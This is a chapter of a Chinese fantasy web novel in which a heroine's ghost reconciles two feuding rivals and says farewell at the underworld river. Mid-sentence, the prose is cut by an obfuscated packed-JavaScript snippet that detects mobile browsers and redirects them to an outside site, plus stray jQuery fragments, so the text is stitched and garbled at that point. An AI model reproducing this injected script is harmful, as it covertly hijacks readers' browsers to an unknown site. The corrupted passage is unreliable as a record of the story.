幻宗圣女自己身受重伤,虽大难不死,但如今也没有再与旁人相斗的精力了,对凌巳巳摆手:
“你别看本圣女,但凡还有别的出路,本圣女都不会在此多留半刻!”
在场除去死去的凌巳巳同佛咎,就是三方。
外海方的女王摆手言明不打,那现在就只剩天侦院与波澜海城之间的恩怨了!
见癸钰始终不答,凌巳巳一步步走向他,牵起他的手:
“癸钰,其实你和壬毓舟本就没有仇,你们成为朋友,还远远早于认识我,若说癸夫人的死,其实我的责任比壬毓舟更大,你都从未责怪我,对我尚且能如此,何不在此时,也谅解你这位竹马之友呢……”
“……”
癸钰被凌巳巳牵着来到壬毓舟身旁,神情满是抗拒,可他又舍不得甩开凌巳巳的手。
凌巳巳另一只手去牵壬毓舟:
“壬毓舟,你嘛,别老是一副冷冰冰的模样行不行,明明你也很在乎癸钰,不然我们掉进地下裂缝之中时,你为什么还给他唯一的生存机会?”
“……”
手背被触碰到那刻,壬毓舟随即将凌巳巳的手反扣住,却不肯如她的意,与癸钰握手言和!
“凌巳巳,你真的死了?”
壬毓舟感觉凌巳巳的手除了冰凉刺骨之外,与过去并无差别!
“……真的不能再真了,我都没想过还能见到你们,快些,为了让我走得安心,拜托你们两个,彼此停战吧,天浮城都倒了,恩恩怨怨也一并拂去不好吗?”
凌巳巳强行将癸钰与壬毓舟的手拉到一处:
“时间紧迫,演你们也得给我演一回兄弟情深,要打等我走了再打!不然我怕自己渡不过冥河!”
听佛咎说过,过去的修士,对尘世还有牵挂者,多折在了冥河之中,凌巳巳可不想自己也步那些人的后尘!
“嗬!”
冥花见凌巳巳两头拽得费劲,裂开脑袋上的花瓣,鼓气变长,一左一右上去缠住癸钰与壬毓舟的手,用自己打了个死结,对两头发出怪叫:
“嗬嗬嗬!!”
“哧~我的孩子真好!”
凌巳巳此时也不觉得自己这便宜孩子丑得可怕了,反倒觉得它这样圆鼓鼓的,丑得挺可爱!
自红鱼死后整个人变得无比静默压抑的青泉此时冲出来吼道:
“我们天侦院就没想过弄死你们波澜海城的任何人,都是你们死咬着天侦院不放!把一堆莫须有的罪名安在我们头上!”
靛龙等人也道:
“你们波澜海城的癸夫人和霍柳,就是你们自己人害死的!凶手侯璇淮还把我们天浮城毁于一旦,这又如何算?!”
“是啊!凭什么之前冤枉我们的人,到了如今,还俨然一副被我们天侦院害惨了的模样,我们天浮城才是真的被害惨了!现在全城百姓几乎都死光了,我们又找谁说理去啊!”
“这……”
秦剪楚与霍桥等人面上羞愧难当。
虽然波澜海城没有屠杀天浮城的百姓,但他们带来的外海军队屠了!
甚至他们曾经的侯爷还利用天浮机关,把人家整个天浮城都沉到了海底!
“少主……”
“好了!”
癸钰高声喝止秦剪楚等人欲言之于口的规劝,对壬毓舟道:
“过去的是非曲直我不想与你多辩,从今往后,你我桥归桥,路归路,谁也不欠谁。”
“……好。”
壬毓舟回想到他们过去种种,这种从此陌路的话,癸钰曾对他说过许多回,他知道,只有这一回,是真的。
啪!
两人击掌,算对过往的斩断。
年幼时的相知相伴到如今的相互仇怨,全然不作数。
作局外人观的幻宗圣女此时也陷入自己当年奄奄一息时,被那个鬼面少年所救的回忆之中。
少年锦衣华服,腰间带着外海皇室专有的独角兽环佩。
对方从野狗口中将重伤濒死的她救下,逃往雪山,三天三夜,不离不弃,还为她驱了毒。
虽然最后对方最后不告而别。
可她执着了一辈子。
这些年不管对错,只想对当年那个少年好,很好很好,好到这世间没人可以阻拦对方的路,没人可以再伤害对方!
可笑的是,她认错人了。
她恩将仇报,她还不想认错!
意识到这一点,幻宗圣女眼中安静涌出一滴泪来。
“阿弥陀佛,壬大人他从未将那段过往放在心上,圣女施主,你该放下了。”
???
幻宗圣女对于突然出现在她身旁的佛咎感到莫名其妙,不满道:
“臭和尚,你不在凌巳巳他们身边,过来做什么?”
“小僧知道圣女心有悔意,又在重伤之期,一时不慎,恐生心魔,故来相劝。”
说来佛咎与幻宗圣女也是年幼相识,可因他师父又悟了大师爱嘲笑对方的师父心比天高,命比纸薄,导致幻宗圣女十分不喜光头和尚。
以至于在海神附岛那次重逢,他们分明一眼认出彼此,可幻宗圣女却想顺手取他一条小命。
现在,幻宗圣女依旧不喜欢光头和尚:
“可笑!本圣女不用你假好心!滚!”
凌巳巳瞬间横插出现,阻在佛咎身前与幻宗圣女对峙:
“就不滚,我们不止不滚,还故意粘上来呢,你打我呀!打!哼,有种你把我打活!”
“你——”
幻宗圣女出手打去,打到一片虚空处,不止没打到凌巳巳,还险些把自己给摔了。
她真是要被凌巳巳给气死!
见她狼狈至此,凌巳巳当即哈哈大笑,笑过之后,又万分感慨:
“好啦,雾幽,我们死都死了,你也别和死人怄气了,我和你没有仇,只是不想你欺负佛咎,将来呢……希望你能回外海当个爱民如子的好女王,不要再发动战争了,战争带来的死伤,从来就不是单方面的,只有输家,没有赢家。”
“……”
幻宗圣女没好气地转过脸去,道:
“死了就赶紧走,活人不用你多事!”
“哼,走就走~”
凌巳巳朝幻宗圣女皱起鼻子,瞪她一眼,拽着佛咎离去。
冥河边上。
凌巳巳笑嘻嘻地同天侦院的青泉靛龙道别,又跑去同波澜海城的秦剪楚等人道别。
最后轮到壬毓舟与癸钰两人,她苦恼不已:
先和谁说呢?
这时,她忽然想起来,自己死都死了,又没真的嫁给谁,何苦这样自寻烦恼?
烦恼该留给活人呐!
于是乎,她左手拉着癸钰,右手拉着壬毓舟,带二人跑去老远,徒留下如同遭了雷劈一般的天侦院与波澜海城等人。
确定其他人都听不到他们的谈话,凌巳巳才对震
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012010|171905||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
惊不已的壬毓舟同癸钰二人道:
“咳咳……你们听着,本姑娘是自由的,也将奔着自由而去!
我和别人不一样,我不是个好姑娘,我的心尖开叉了,但是我希望你们知道,我很高兴你们都还活着!
虽然我们阴阳相隔,但长生玉骨的传说是真的,你们有空练练吧,我希望将来还能在极乐之界再见到你们。”
“你喜欢我,又喜欢他……”
癸钰对凌巳巳的占有欲极强,对壬毓舟的不满也多由此而起,他根本没把凌巳巳后面的话听进去,满脑子都是凌巳巳那句:
“我的心尖开叉了。”
此时他真想把壬毓舟揍成一个猪头,他不爽,不爽极了!
“少那样瞪着我,我也很不爽。”
壬毓舟脾气内敛,没有癸钰那么性情外放,可他生气的时候很明显,周围气温会莫名地下降好几个度!
“我分明比你更爱凌巳巳,你不过只是占了一点先机!”
“胡说八道!你一开始就没选巳巳!”
癸钰愤恨道:
“你是趁虚而入,壬毓舟,你夺人之妻你不是人!”
“呵。”
壬毓舟表情满是嘲讽:
“谁是你的妻?凌巳巳都没嫁给你,就已经和我跑了。”
“你——”
“喂!”
凌巳巳话还没说完呢,正想将自己知道的长生玉骨功背出来给二人记下,今后大家好能再相见,没想到这两人还是当着她的面打起来了!
“别打了!你们”
凌巳巳的魂魄可实可虚,随心所欲,遭了人的拳脚也不觉得疼痛,可她就是拦不住脾气上头的癸钰同壬毓舟两人:
“我说你们别打了!我给你们背长生玉骨功的功法,你们记住啊!到时去了极乐之界,我们还是……是好朋友!诶呀!”
壬毓舟同癸钰对对方出手丝毫不留情面,很快两人就各自负伤。
不过他们没有用武器,生怕一个不小心把人弄死,死后魂魄会拖体而出,与凌巳巳双宿双栖!
外面一堆烂事还等着他们出去处理,他们有自己的责任,就算要死,要和凌巳巳在一起,也得等一切安排妥当之后!
这边三人扭打到一处。
另一头。
青泉盯着地下幽绿色的冥河出了神:
“靛龙,你说,我过去,会不会见到红鱼啊?”
???
靛龙一手拽住他道:
“你别傻了青泉,佛舍利说了,红鱼的魂要头七才会出现,你就算死,也和她碰不到一块的!”
“那我先过去等她,好给她一个惊吓。”
青泉笑容平静,看向靛龙:
“好兄弟,来世再见。”
说着青泉将自己手中的暗器朝着靛龙的死穴打出去。
“不要!”
靛龙下意识闪避,就这么一瞬间,青泉展开双臂,自己跌入冥河之中。
下落过程中,他一直望着上面,那里全是自己兄弟焦急的呐喊。
后来,他还看到了自己大人与凌巳巳、癸少主。
他得逞地笑了,笑容一如往日顽劣:
“红鱼喜欢主上,可主上喜欢凌姑娘啊,红鱼下一辈也得不到,下辈子我青泉多努力一些,长成主上的模样,不行就戴人皮面具,骗她一辈子,总之……她要喜欢我……像我喜欢她那样,喜欢我……”